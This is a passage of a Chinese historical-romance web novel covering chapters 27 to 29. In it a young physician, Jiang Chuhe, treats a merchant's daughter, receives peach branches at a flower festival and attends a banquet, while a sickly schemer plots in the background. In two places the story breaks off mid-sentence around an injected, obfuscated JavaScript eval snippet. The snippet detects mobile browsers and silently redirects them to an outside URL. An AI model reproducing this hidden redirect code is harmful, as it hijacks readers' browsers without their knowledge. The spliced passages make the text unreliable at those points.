“黄娘子,你可是近日都未曾按时用膳?” 听她如此发问,黄舒窈不免赧然,正想找个由头搪塞过去,一旁的阿姎却已抢先道:“江娘子真是神医!我家娘子就为在花神会上穿那身礼服好看,这都十来天没正经吃过饭了,劝也劝不听!” “阿姎!”黄舒窈低喝一声,又红着脸解释道:“你胡说什么,我不过就是……近日……食欲不振罢了……” 瞧着她那副纤纤弱质和佯作镇定的神情,江楚禾瞬间了然。 自南北帝之争以来,天下一统虽已有千年之久,但直至本朝建立,綦江南北各地的文化风俗仍然有着不小的差异,细化到对女子身材之美的评判上也是各有不同。 大梁北部多以丰腴饱满为美,而南部各州则推崇弱柳扶风,江楚禾孩提时期就曾听说有越州出身的纤瘦美人在嫁入兴京后的半年里日日饮用黄豆猪脚汤,就为能快些改换身段,好迎合夫君的喜爱。 虽说自三王之乱后,藩王旧地皆已改封国为州郡,各地风俗也日益向兴京靠拢,可难免还是有些没转过弯的小女娘仍在饱受摧残。 如此想着,江楚禾看向黄舒窈的眼神又多出几分怜惜。 要知道她在这般年岁时,食量之大可是比两位兄长都有过之而无不及,反观那黄娘子,明明正是长身体的时候,却要为了身材饿肚子,偏生还是个倔脾气的犟种,自个儿吃苦又嘴硬不肯承认,真让人想想都觉得心疼。 江楚禾顺着她的话,不着痕迹地解围道:“原是如此。黄娘子脾胃虚弱,确实会影响食欲。” 听她这么说,黄舒窈的难堪总算减轻一些。 谁知她下一句又道:“脾胃乃气血生化之源,若纳运失常,久之气血便无以化生,而血海不充,月事自然难以如期而至。” 黄舒窈听着,面上羞意更浓。 万幸江楚禾并未在这个话题上纠缠下去,而是顺势提出解决方法:“黄娘子若食欲不佳,可试着用一些健脾养胃的药膳,诸如山药薏米粥、砂仁鲫鱼汤,皆是化湿开胃、温脾止泻的良方,性味平和,久服无虞。” “好嘞!”阿姎笑意盈盈,“那江娘子快教教我怎么做!我在小厨房做给娘子吃!” “稍后我将食谱写下来,再开一剂汤药方子,晚些时候连同配好的药材一起送到贵宅。” 黄舒窈见她如此体贴周全,心知若再强硬推拒实在是有些不识好歹,只好垂下眼眸,低低应道:“如此,便有劳江娘子了。” 三人正说着话,眼看就要走到桃林的出口。 阿姎环顾四周,两眼发光,指着不远处归元堂的招幌喊了起来:“诶?江娘子!那不是你家的摊位吗?我刚还在湖那边瞅见呢,咋搬到这里来啦?” 江楚禾顺着她指的方向望去,只见宋福正和两位从南郊药圃下山帮忙的小弟子挤在一团,七手八脚地支着货亭。 按照衙门此前订立的规矩,在本次花神会中取得摆摊资格的商户都应使用官府指定的货亭小车,在各自的固定摊位上定点经营,切不可四处走动叫卖,以免影响活动的正常秩序。 听着倒是不错,可表演开始还不到半刻钟的工夫,场下就已乱成一锅浆糊。 百姓们不似观景亭台中的贵人有那般上佳的视野,便只得争抢湖边为数不多的几块“宝地”,而这些位置在挤满观景的人群后,又会立即成为商贩们的必争之地,此前抽签决定的固定摊位没过多久就开始流动起来。 江楚禾明白,自家这几位同门定是因青囊山庄“不可与民争利”的祖训而束手束脚,所以才被赶到了这个僻静的角落,想来也是无可奈何。 她浅浅一福,向两人辞别道:“那江某先行一步,二位慢走,晚些时候江某会差人将药品与方子一同送上。” “那这药……”黄舒窈拿起手中的瓷瓶,作势就要递回去。 看她这副拘谨模样,江楚禾笑道:“自是赠与你啦。” “那……多谢。”黄舒窈从善如流。 可话虽是这么说,没过多久阿姎便又气喘吁吁地跑了回来,递上一个沉甸甸的绣花钱袋。 “江娘子!我家娘子让我送诊金给你!说是……不好白白劳烦你呢!” 江楚禾心道那黄娘子果真是一身傲骨,竟连这一时半刻的人情都不愿相欠。 她浅笑着接下钱袋,顺手将刚写好的食谱和药方递给阿姎,“也好,诊金我就收下了,这方子你先带回去,至于药材……待我回医馆按量配好后再差人送去。” “好嘞!”阿姎欢喜地将那方薄纸收进袖中,却不急着回去,两眼骨碌碌地环视一圈,这才凑近问道:“诶?江娘子……那个高高的,可俊俏的郎君怎么没在?” 江楚禾一听这形容,便知她说的是谁。 那人自上回偷偷出过一次门后就再没闹过什么幺蛾子,整个人连同他体内的毒素都安分得离谱。 这十来天中,他在治疗之余除了找些书册来读,或是拿根破树枝子在后院“耍枪练刀”外,俨然就是归元堂里的另一个宋福,不仅分拣药材毫不含糊,到点儿烧菜也是自觉主动,连她都怀疑此人是不是扮起自家伙计上了瘾。 不过那人便是装得再像,也终究不是个寻常的帮手,她可不敢由着阿姎将他的事情到处乱说。 思及此处,江楚禾搪塞道:“哦,他……在家……” “哦?”阿姎一阵挤眉弄眼,语调也越发戏谑:“在……家……” 江楚禾心道不妙,正要解释,抬眼却对上一双透着狡黠目光的眸子,那对弯如月牙的眉眼,乃至带着几分娇憨的促狭神情,都与她记忆中的那张面孔有七、八分相似。 她一时晃神,怔愣间却被阿姎抓住马脚:“哎呀!怎么一说起他,江娘子你就像丢了魂似的,嘻嘻……他是你相好的吧?” 啥? 江楚禾被这话惊得险些掀翻自家货亭。 可看在阿姎眼里,如此反常的举止分明等同于心虚,她诚心求问:“那你们准备啥时候办喜事啊?” “八字儿还没一撇呢!”江楚禾脱口而出。 话一出口,她才感觉到好像有些不对:这话说的好像两人真有什么关系似的。 果然,阿姎听后又笑着挑起眉毛。 再这么下去,谁知道这丫头还能说出什么令人震惊的话来? 江楚禾想,横竖都解释不清了,若能借此止住阿姎对那人身份的探究,想来也是好的。 于是,她将心一横,扯过阿姎低声道:“你可不能跟别人提起他,更不能将他在这儿的事情说出去!” “啊?为啥呀?” “他是偷跑出来见我的,连他爹都没告诉呢!”江楚禾信口胡诌。 “你们这是……私奔啊?”阿姎听后明显更加来劲,连嗓门都大了几分。 “嘘……这件事可不能说出去!”江楚禾赶忙举起手指放在唇间,示意她保守秘密。 阿姎连连点头以示明白,又举起四指对着天爷爷发了几句毒誓,在被她手忙脚乱地劝阻之后,这个话题总算是就此打住。 “好啦!不说他了……”江楚禾将桌上的茯苓糕向她推过去一点,“来尝尝这个,健脾安神的。” 阿姎倒是不跟她客气,捏起一块就塞进嘴里,鼓着腮帮子连连惊叹:“好吃!太好吃了!这个是怎么做的?我也要学!” 江楚禾自是不会藏私,一边和她分食着那碟糕点,一边细细讲着做法,两人聊得热火朝天,直到舞台上更换了三场曲目,这才惊觉时间已耽搁太久。 “哎呀!江娘子,我得回去了!不然池嬷嬷该训人了!下回再见!” 江楚禾笑着点头,目送她一路跑跳着离去,脑中挥之不去的却仍是那张熟悉的笑靥。 恍然间竟似故人归来。 再度忆及兴京旧事,她有些神色恹恹,宋福等人见状都躲在一边,谁也不敢上前打扰。 可惜,赖大少爷却没有这般眼色,阿姎离开不过片刻的工夫,他就不知从哪里蹿了出来。 “神医阿姊,你今日是躲到哪里去了?害我一顿好找!” 许是因为场合特殊,他今天特意换了身格外“端庄”的打扮,苍蓝锦缎圆领袍配一枚翠绿玉佩,低调中又难掩富贵气息。 “赖小郎君!这是来替林夫人看新货的?” 江楚禾一见来人是他,只好强行振作准备待客,可赖延却丝毫没感受到这份“宾至如归”的热情。 他不满地扁了扁嘴,道:“我娘不过从你这买些颐养之用的药品,可我却是实打实的大主顾,怎的你成日念叨的只有那位‘林夫人’呢?神医阿姊,你不会做生意啊……” 此事说来也奇怪得很,虽然赖延之母自归元堂开立以来便时常帮衬,隔三差五地买些调理所用的药材补品,但却从不见赖家人在此处瞧病,就连林夫人这位女眷也多是等着南山堂的林伯鸿老先生亲自上门。 直到去年江楚禾去望春楼同葛木兰洽谈合作推出药膳的买卖,碰巧遇着因与人打闹而被葡萄卡进喉咙的赖延,在顺手救下他的小命后,才总算拉到了头一位赖姓的主顾。 可赖延到底年轻力壮,又没什么隐疾需要时常看病求医,顶多就是挨了家法之后找江楚禾给他开些消肿化瘀的药膏,来得再勤也算不得什么大主顾。 至于林夫人,则依然保持着时不时就买些补药的习惯,却从不肯让江楚禾为她诊脉。 不过医病毕竟利薄,哪里有售卖补品挣得多,江楚禾既有银子赚,自然也懒得探究其中内情。 只是这话不必说给赖延听。 她顺着话茬回道:“那敢问这位大主顾,今日前来是有何贵干呀?我看您面色红润、精神焕发,可不像是需要郎中的样子。” “我心碎了。” “……”江楚禾一看就知道这人没什么正经事,又搁这儿逗闷子呢。 她变戏法似的从货亭下面掏出一卷柳叶刀,扮出一副阴恻恻的模样,“那我这便给您补上!说起来倒也不难,就在您胸口开个窟窿,掏出来缝好再塞进去就成。” 江楚禾边说边比划着,看上去像是个准备掏下水的屠夫。 赖延见状忙作西子捧心之态,连连嚎叫:“好歹毒的女人!” 江楚禾这才看见,他方才一直背在身后的右手之中正紧紧捏着一株桃花。 要知道,在花朝节时折枝赠花可是年轻男女互表爱意的方式。 她可不会放过这等调侃他的机会:“哟,赖少爷这是要走桃花运了?” 提起此事,赖延明显有些郁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16923012|192645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闷,“没走成……” “怎么会?”江楚禾一抬眉毛,有些吃惊。 据她所知,这位俊俏多金的赖少爷可是颇受女娘们欢迎的。 赖延见她一脸真诚,心里觉得更加憋屈。 他扁扁嘴,摆出一副委屈巴巴的神情,道:“我哪知道……莫名其妙地被人抢了先!” 这一年来,他可没少留意归元堂的动静,除却那位相貌妖冶、性情桀骜的青囊山庄少庄主外,何时来过什么“高高的,可俊俏的郎君”啊! 这么想着,赖延神色越发愁苦。 江楚禾哪知他心中所想,只道赖少爷是因求而不得才有些精神颓唐,便试图宽慰一二:“呃……那什么……兄弟别急,这说明……您的正缘还没到呢!来来来,饮下这杯‘解忧散’,咱还是一条好汉!” 赖延看着面前那杯桃花酿,陷入人生的思考。 兄弟?谁要当你兄弟! 他不禁觉得自己是否表现得还不够明显,以至于对方仍是一块木头。 这么想着,他将手中桃枝送到江楚禾的眼前,道:“这个给你。” “你……这是为何?” 花朝节这么特殊的日子,可不兴乱送桃花啊! “祝神医阿姊前途坦荡,如花似锦。”赖延难得正色,看得她好不习惯。 “……”江楚禾迟疑片刻,仍不敢接。 见她像是被吓着了,赖延故作轻松地解释道:“前几日我被父亲禁足在家,未能在神医阿姊蒙冤时帮上一把,心中很是过意不去,你若收下这花,便算是不怪我了,如何?” 他的语气难得带着八分真挚,但一双狐狸眼微微含笑,总让人觉得有些轻佻。 江楚禾被那笑容晃了神,沉默片刻后才苦笑道:“本来也不关你事,怎么会怪到你头上?” 不知是不是错觉,她看到赖延眼中微光忽地一暗,但不过眨眼工夫就又恢复了往日的神采:“那便收着吧,不然我可真要伤心了……” 这话还真让人无法拒绝。 江楚禾犹豫再三,还是将花枝收下。 她想,权当是出于善心,也不负他的好意。 否则若赖少爷两番赠花都没人肯收,怕是会当场哭给她看。 不过慎重起见,江楚禾还是多问了一嘴:“这……不会是……从那棵百年老树上摘的吧?” 要知道那棵树可是“折一枝就成一对”,虽说她并不迷信神鬼之事,可凡事就怕个万一,总不能因为一时心善就赔上一辈子吧? 看她一脸担忧,赖延心中更添酸涩。 “你放心吧!这就是我方才在湖边摊贩那里买的,图个漂亮而已,没什么讲究。今次那棵百年老树改了规矩,一般人还折不得呢!” 说起此事,他可有一肚子的牢骚。 原来,因那棵所谓的“姻缘树”盛名在外,每次花朝节时都不堪重负,刺史大人担心它再被薅秃枝子,便提议要改个规矩。 前来祈愿的男子必须要完成“赋诗咏花、丹青绘花、琴曲赞花”这三项任务,经现场评审的乡学夫子考核认可后才可前往折枝。 “你说说,若是有那般才学,谁还指望靠个花枝子讨新妇呢?” 那不得一早就潘郎车满了? 听赖延这么一说,江楚禾下意识朝许愿池的方向望去。 她原是带着种“我倒要瞧瞧此地能有几个才子”的看热闹心态,没想到一眼就瞅见个老相识,而对方也正朝她的方向看过来。 他生得高,在人群中本就打眼得紧,碰巧还立于灯火之下,远远看去颇有几分天神下凡的感觉。 许是因为不久前刚编排过人家,江楚禾心底有点发虚,慌里慌张地转过身去,也顾不上细想他在那里是做些什么。 “喂!你怎么了?”赖延看她一脸娇羞的样子,有些拿不准这人究竟明白了几分。 “没事!就有点儿热……” 江楚禾用手扇着风,两颊的红晕却久久不散。 “真的假的……你现在看上去就像话本子里说的‘少女怀春’!” 赖延可是头一回见着她这副模样,一时间还真有点怀疑那棵老树有什么勾魂摄魄的本事。 “你瞎说什么!” 江楚禾将花枝插在货亭边上,顺手又给他来了一掌。 这一幕被藏身于阴影之中的青衿男子看在眼里,他不禁舒展开眉头,浅淡笑容挂在唇边,将找来此处的小满吓得不轻。 “主人?” “事办妥了?”男子收回视线,看向身旁那个小厮打扮的少年,“为何去了这么久?可有遇到难处?” 小满摇头,“没……只是……有些绕路。” 实际上,他老早就已办好差事,可是却用了足足两刻的工夫才终于在这个角落里寻到熟悉的身影。 说来也怪,此人像是生来就有在人群中隐身的能力一般,只要他不想惹人注意,就总能藏身于阴影之中,让旁人难以发现。 就像现在,青衿男子在黑暗中窥视许久,又悄无声息地离开,全程未有一人察觉到他的存在。 看他迈出脚步,小满有些不解:“刚蔡生不是说那女医想替主人瞧病?您来都来了,没去见见她吗?” “还不到时候。” 青衿男子咳喘两声,又将身上的大氅裹得更严实一些,现下已是仲春时节,可夜里的冷风于他而言仍是冰得刺骨。 没有时间了。 他这么想着,又下意识加快脚步,拐杖一下下捣向地面,在林中发出“笃笃”的回音。 黑暗里,一双浑浊的眼睛紧紧盯着两人。 很快,小满就感知到了背后那道不怀好意的目光。 “谁在那里?” 他大喝一声,眨眼工夫已将藏在袖内的短刀握在手中。 与此同时,一个黑影朝他飞扑而去。 “啊!” 28. 故人(下) 将圆未圆的凸月悬在天边,投下清晖一片。 月光如练,却探不进阁楼里的那处幽暗,青衿男子正坐在阴影之中,就着手边的一盏暗灯,摆弄几枝新折的玉兰。 宁州地处东南,白玉兰的花期也较越州要更早一些,如今是仲春时节,盛花期早就过去,几枝残花虽是新折,却已有颓败之貌,一如正捧着花枝咳喘不止的男子。 旁边的隔扇半敞着,穿堂风时时吹过,他却没有唤人来关门的意思,只是在一阵剧烈的咳嗽后又将身上的大氅裹紧了些。 “主人。”小满站在门外,大半张脸都隐在黑暗中,让人看不清神色。 当然,青衿男子也不曾抬头。 他径直问道:“那瘦皮猴醒了?咳咳……可有说什么?” 小满犹疑几息,没有回答这个问题。 “怎么?”青衿男子微微蹙眉。 “那边的人找来了。” 话音刚落,一个满脸烧伤旧痕的中年男子探出头来,朝屋内的人肃然行礼。 “小公子。” “贾午?”看清来者何人,青衿男子轻哼一声,抱怨起来:“说好合作,那女人竟这般不肯信我?” 他的语气像是在调侃,但中途止不住的咳喘又让这段话听上去有几分苦涩:“我不过就是想顺便再讨些药物用来续命……咳……又不会当真将人扣下,做什么还……咳咳……特意派你过来……是怕我会……咳咳……刁难人……不成?” “哼!” 女子的冷笑将他原就断断续续的话语彻底打断。 紧接着,一道墨绿如毒蛇般窜进隔扇,带着破空之声。 “咻!” “啪!” 两指粗的藤鞭猛地击打在半敞的门扉之上,霎时间木屑四溅,门户洞开。 穿堂风瞬间灌入屋内,案头的孤灯在剧烈摇曳几息之后还是灭了下去,青衿男子抬起头来,借着月色与那女子对视,冷冷唤她:“金莲圣使。” 女子闻言挑眉,唇边则勾起一抹毫无笑意的弧度,阴阳怪气道:“我们圣女,合作的诚意可是大大的。这不……怕您等的急,身子骨受不住,还专门让我送药来呢!罗先生……可千万别生出什么误会啊……” 说着,她“咚”地一声将手中药瓶狠狠杵在案上,白釉瓶中的残花应声落下几瓣。 “悠着点儿吃……”她收回手,居高临下地看着坐在案边的病弱男子,墨绿的眼瞳在月光下暗如深渊,“圣女今夜便会离开弋陵,一时半会儿可没有别的药能供你保命,所以……罗先生千万别一不留神把自己弄出个好歹。你丧命是小,如果耽误拜月节的大事……那可不是你一家能兜得住的!” 说罢,绿瞳女子冷笑着转过身。 她三两步走到门口,却不着急出去,而是站在小满面前,一脸挑衅地看着对方。 向来都无甚表情的少年此时却满脸惊恐,按在长刀上的指节因用力而发出声响,却又像是被什么束缚住了手脚,迟迟不能抽刀开战。 “怎么,想杀了我?” 小满摇头,眼中满是发自内心的畏惧。 “呵!”绿瞳女子满意地嗤笑一声,转身朝门外走去,“人,我带走了。罗先生,多……保……重……” 她特意将最后三个字拖长,带着毫不掩饰的恶意与嘲弄。 余音在黑暗中回荡,激得小满一阵战栗,直到那几人离开已足有一刻的工夫,他的神色仍有些许惶然。 “小满。” 嘶哑的嗓音打破屋内的寂静,是青衿男子在唤他的名字。 小满身体一颤,“扑通”一声跪在地上,“主人,我……” 他想请罪,为自己方才的怯懦。 但这般说辞与推脱无异,若主人当真发怒,会不会将自己再送回那疯女人的手中? 想到这里,小满不禁打了个哆嗦,赶紧又闭上嘴巴,乖乖等候对方的发落。 在一阵压抑的咳嗽声之后,青衿男子再度开口:“你不必自责。我明白,有些东西……一旦在年少时被刻进骨子里,便是一生都摆脱不掉了……” “主人,我……” “罢了,不提这些。”青衿男子打断他道:“那瘦皮猴方才都说了什么?” “哦。他说是因为犯了赌瘾,所以才想要逃出去玩儿,没料到桃林外边把守的衙役都是廖捕头安排的人,专门守在出口处等着逮他,他见逃跑不成,所以就躲在桃林里边想要劫个路人换身行头,这不……就……刚好遇见主人……” “真是胆大包天!”青衿男子的脸上登时显出几分愠色,“得亏他遇见的是你我,若让外人瞧见,岂非要坏了大事!” “说起外人……他……他说傍晚在林中逃窜时,不小心撞倒了一位年轻女子,为能脱身还将加过料的花瓣洒向对方……” “什么?”青衿男子立即想起从林中走出的那位江家九娘子,一阵气血攻心,在剧烈的咳嗽间隙还不忘问道:“咳咳……可是……归元堂……咳咳……的那个女医?” “应该……不是吧……”小满回忆起曾经远远瞧见的那个高挑身影,确定道:“他说是个瘦小娇弱的女郎,应该不是归元堂的那位。” “那就好……那就好……”青衿男子脱力似地靠在墙角,抚着心口又吞下一粒药丸。 “主人……”小满起身,将滑落的薄毯再次盖到对方膝头,顺着话头问道:“主人为何如此在意那个女医?难道是……因为那名江姓的故人?” 他好奇此事已有多时,若非方才青衿男子曾流露出几分交心之意,小满还当真不敢问出口。 但对方却不答反问:“江汤当年在定州边境诱降匠人、圈地断水,使得你家乡破败、生存艰难,你可曾因此将他,或者江家……视为仇人?” “自然没有!”他矢口否认。 见青衿男子面露狐疑之色,小满慌忙解释起来:“主人别不信!小满真没记恨过江刺史!无论是他,还是晏将军,说白了都不过就是一把刀,挥刀的是那司徒家的皇帝老儿!如果有人被刀砍伤,当然是要去找用刀的人,怎么会怪罪到刀的头上呢?冤有头债有主,凡是都得去寻根儿上的原因!” 青衿男子闻言一顿。 “主人觉得……这说法……不对?”小满心下惴惴。 对方沉默良久,仍是不答反问:“那你觉得,若某人为恶,却并非是因一己私欲,是否便值得原谅?” “自是要看根源在哪里啊!如果他做坏事是因为旁人的原因,那……怎么能算是他的错呢?” 听他这么说,青衿男子低声笑了起来。 “你倒是通透。” “啊?”小满挠头,“主人这是什么意思?” “就是说你聪明。”青衿男子眉眼舒展,看上去情绪颇佳。 小满也不知是自己哪句话讨得主人的欢心,但难得赶上对方心情好,不妨先将心头的疑问一股脑倒出来解解惑。 于是他问:“所以……主人既然如此看重那女医,还让黄家邀她赴宴,可是打算二月十五的时候去宴会上同她叙叙旧?” 说起叙旧…… 那宴席当中还真是有太多故人。 可惜,没有他想见的那一位。 “不去。” “啊?为啥?” 青衿男子轻哼一声,话中带着几分揶揄的味道:“那是人家花神会的庆功宴,你我可是去暗中使坏的,凑这热闹做甚?” * 与此同时,归元堂里的三位正在为这场热闹做着打算。 若非今日黄家的大管事韦骜亲手将邀帖送到她的手上,江楚禾也想不到像黄季竟然会请自己这么个小郎中前去参加花神会的庆功晚宴。 “这上边说……我可携一人同行。”她的目光在石桌对面那两人的脸上扫视一轮,顺利做出决断:“阿福,二月十五你随我同去!” “啊?” “你‘啊’什么?”江楚禾杏眼圆瞪,“说好的要练胆气,你又忘了?这可是花神会的庆功宴,不知有多少高官豪绅将会到场,对你而言可是个千载难逢的机遇!” 就是知道会有贵人参加,所以才不敢去啊! 宋福哭丧着脸向身旁之人求救:“晏公子……” “你喊他做什么?宴会上人多眼杂,我又不可能带他去!” 司徒靖还未来得及接话,就被此言堵住了嘴。 江楚禾说得有理。 此番他是暗探来此,现下并无文牒可证身份,若贸然出现在夜宴之中,这张生面孔难免会惹人注意,且六年前陶晋仍在工部任职时曾受命修缮皇陵,那时两人曾有过一面之缘,若被认出,恐怕会有更大的麻烦。 于是,司徒靖只得颔首认同。 不过去虽去不得,与之有关的疑问却得打听清楚才能放心,他问:“往年那位黄四爷也会邀请你赴宴么?” 花朝节虽是一年一度,但花神会却并非年年都有,江楚禾在两年前宁州大疫期间才来到弋陵,今次是头一遭赶上这个盛会,自然也是第一次有机会赴宴。 她照实回答,司徒靖疑虑不减:“你素日同黄家无甚交情,为何黄氏家主会邀你前往?” “这个嘛……或许……是本护法护卫‘神女’有功?” 一双杏眼透着狡黠的光,明显又在鬼扯。 司徒靖无奈,“你正经点说。” “哎呀!不就是我在黄娘子胃痛难忍之际给她稍稍那么诊治了一下,黄四爷知道后卖我个面子嘛!你做什么疑神疑鬼的!” 早在数日前司徒靖就已派人调查过黄季。 黄家世代经营船运生意,传到他这一代时本该由其兄长接手,但在“三王之乱”中,其兄因被一众宁王党羽裹挟行事,最终受到牵连而死,而他则一早认清形势,于乱局中得以保全,这才接下了延续家业的重担,并在之后的十年里越发做大。 只是…… 此人于九年前幼子夭折后没过多久便将长女送去二林村的田庄,之后对这个女儿可说是不闻不问,直到林老夫人故去多年,女儿又已到议婚的年岁,这才将其接回弋陵。 如此冷漠无情的父亲,怎会因江楚禾在其女病发之时出手相救便这般热情相邀呢? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16923013|192645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他不由地又想起钱媪口中的那位“陈郎”。 “那你在黄家可有什么旁的熟人?”司徒靖问。 “我也就偶尔给陈夫人把个脉、开些药什么的,她不爱同人亲近,所以也算不得相熟,怎么?” 司徒靖垂眸几息,又摇了摇头。 “你就别胡思乱想啦!届时城中权贵都会到场,能出什么事儿啊,犯得着你费这些心思琢磨吗?” 他很想说,但凡与她有关的事,都值得自己费心思。 可却说不出口。 沉默不过几息,江楚禾打了个哈欠:“今儿实在太累了,都回屋歇着吧!” 宋福应声退下。 司徒靖却道:“稍等。” 片刻之后,他带着一只天青釉的玉壶春瓶回来,里面插着一株正开得刚好的桃花。 “你这是……” “当年,答应过你的。” 江楚禾闻言一怔,“你竟还记得……” 她不禁在想,这人傍晚时站在那棵百年老树下竟是去为自己摘花的? 那他又知不知道与“姻缘树”相关的传言呢? 她正暗自思忖,便听那人道:“知你喜欢,遂折枝相赠。不过,或许已有旁人……” 说起这茬,江楚禾才想起被自己落在货亭小车上的桃枝。 “哎呀!糟糕!” 她丢下这句话,一溜烟地跑没了身影,待再回来时,手上又多出一株略有些萎蔫的花枝。 “真是可惜,我本来还想将它放进瓶中多养一阵呢!也不知能不能救回来……”江楚禾碰了碰卷曲的叶片,颇有些遗憾地说。 她自幼便对桃树有着别样的喜爱,在医馆的内院里也栽种了好几棵,只因种植时日太短,还未到开花的年份,所以才会想要以水培桃枝来一赏芳华。 可是这话听在司徒靖的耳中,却有几分其它的意思。 他醋意更甚,冷脸发问:“十五那日,他可会赴宴?” “嗯?谁啊?” “今日,予你桃枝的男子。” 江楚禾了然,看来他所指的当是赖延。 若此人同往,倒是一个不错的玩伴,可惜,那纨绔虽然喜好欢宴,但对这种正儿八经的交际应酬却一向是避而远之。 不必问!问就是直率真诚不愿作伪,誓与奸猾虚假的市侩作风划清界限。 于是她摇头,笃定地回答:“他才不会去呢!” 说罢,江楚禾向他摆摆手以示告别,然后倒退着朝自己闺房走去,边走边说:“多谢晏公子的花,我会好好爱护哒!” 杏腮桃颊,笑靥如花。 还真是…… 没心没肺! 司徒靖无奈叹气。 而江楚禾竟也当真是没有多想,她照常忙了两天,时间很快就来到二月十五当日,花神会的庆功宴。 她在席间环顾许久,果然没有见到赖延的身影。 宴席设在黄家最为轩敞的正厅之中,男左女右,相对设席。 此时宴会尚未开始,陶晋已被一众官员豪绅簇拥在主位附近,彼此寒暄揖让,笑语连连。 一片喧嚣之中,江楚禾独坐于女宾末席,正拈着刚送上来的餐前甜点细细品味,绵密的豆沙与浓郁花香在口中化开,又被蜜糖的甜腻感困在舌根喉头,久久不散。 她下意识地蹙起眉。 “怎么,不合口味?” 江楚禾闻声抬头,神色难掩欣喜:“葛阿姊!” 葛木兰笑意盈盈,落座于她的身旁。 “诶!你可是弋陵的大老板,怎么和我这小郎中一同坐到末席来啦?” 她自不知,葛木兰是有意躲到此处的。 前方贵人攒聚,而她心系之人正在其中,离得越近,越难克制,哪怕是不经意间的对视,都有可能泄露真情,倒不如远远避开,反倒安然自在。 葛木兰佯作委屈,“许久不见,想同我们神医娘子多多亲近,不可吗?” 听她口中言语带着几分撒娇意味,江楚禾笑道:“那自然好!多日不见,我都怕阿姊忘了我,还想着赶紧多出几个药膳方子,再将咱的药膳生意好好拓一拓呢!” “我就瞧你刚一副若有所思的模样,怎么,有新想法?” “不急!葛阿姊先尝尝这个!”江楚禾把案上的小碟朝她推去。 “豆沙过细,失了口感,其中的玫瑰倒是上品,只可惜糖油过重。”葛木兰轻笑,“到底是黄家,还真舍得用料。” “葛阿姊觉得……若是在这绿豆沙中掺入少许碾碎的杏仁粉增加颗粒感,再用冬蜜代替部分糖霜,是否可减其甜腻,更添几分天然口感?” “妙极!”葛木兰抚掌称赞,“不愧是江娘子!下回咱们再出几道甜点,就按你方才说的思路来,一准能卖断货!” 说起生意,江楚禾两眼神采满溢,兴高采烈地同对方讨论起来。 陈崇将这一幕看在眼中,只觉那份鲜活明艳胜于在场的任何人。 如此绝色,岂可明珠暗投? 他心头一热,放下酒杯便起身上前。 29. 望月 不想陈崇刚一起身,就被人拦住去路。 “伯阳少爷!”言诩笑眯眯地向他拱手,“许久不见,近日可好啊?” 早在十多年前陈崇头一回跟着父亲去宝蕴楼淘换文玩时,此人对他还是以“陈公子”来尊称,如今陈氏风光不再,而他又屡试不第,难回士族行列,相熟之人便多以表字来称呼,唤他一声“伯阳少爷”,言诩也是如此。 虽不如“公子”中听,但好歹是个少爷,总比满大街的“陈郎”要强。 陈崇还算满意,笑着回礼:“文通兄!不知近日在忙些什么?可有淘到宝贝?” 他如此发问只不过是假作寒暄,以便快些摆脱对方,并非真想让言诩对他详述近日所得,可一向擅长察言观色的老狐狸今日不知搭错了哪根筋,愣是没看出陈崇急于走人的诸多暗示,竟真的拉着他滔滔不绝地说起前几日新得的玉册残片来。 言诩是弋陵县里一位老秀才的独子,在少年时期也曾有过一段寒窗苦读的求学岁月,可惜时运不济,年近三十仍只是个童生,只得放弃科举之路,以倒卖祖辈收藏赚出第一桶金,历经十余年的努力,终于攒出如今的宝蕴楼。 虽说铺面开在灯红酒绿的芙蓉街,但做的到底还是风雅生意,言诩本人更是从没忘记自己作为“书生”的初心,一有机会便重拾当年对金石碑刻的喜爱,花费重金收藏上古器物不说,更是以金石证史,录存校勘过不少史料。 正因此癖,他得以与陈崇这位家道中落的昔日公子结为忘年之交。 没错,尽管屡屡落榜,但伯阳少爷却是实打实地爱读书。 只不过,与寻常学子日夜精研四书五经不同,让陈崇手不释卷的净是些志怪杂记,为此可没少被陈德音数落“不务正业”,还好没过多久他便将此发展成为一项主业,在被旁人议论时也算多出些反驳的底气。 这都要从建兴帝的一道诏令说起。 自五年前武烈侯晏襄率军屠尽西绝王庭后,建兴帝自觉内忧外患都已铲除,便开始筹划他作为“千古一帝”的下一项伟业:修书。 准确的说,他是要修一部集诸子典籍于大成,汇天文、地志、阴阳、医卜等百家之言为一体的鸿篇巨著。 既有以此书来辑录诸子百家学说文献的宏大愿景,自然要先采进各地藏书,如此不仅可以将流散民间的各类著作收归国有,还能顺便进行文化审查,把“异端邪说”控制起来。 因此,编纂队伍甫一召集完成,建兴帝便下诏命令各州府衙门在当地征集百家著作,经过初步加工整理后送呈纂修官审核,经层层审阅再由共同负责监修此书的二皇子齐王殿下和国师知衍真人进行收录与否的最终裁定。 彼时陶晋刚任职宁州刺史不久,就接到这么个麻烦差事。 更糟糕的是,因三王之乱的影响,宁州各个地方豪族尽皆受到株连,而在这之后兴起的黄氏、屠氏、赖氏三方势力则具为商户出身,并不看重书香传家,虽愿意出银子从外地购买珍本善本以供进献,族中子弟却未必能有加工整理藏书的本事。 至于本地学堂的夫子,更是只通儒学,旁的皆不涉猎。 为免拖累朝廷的修书大业,他只得做主从民间调集能人异士参与整理,而陈崇与言诩就是在那时凭借在杂学领域的多年积淀跻身其中。 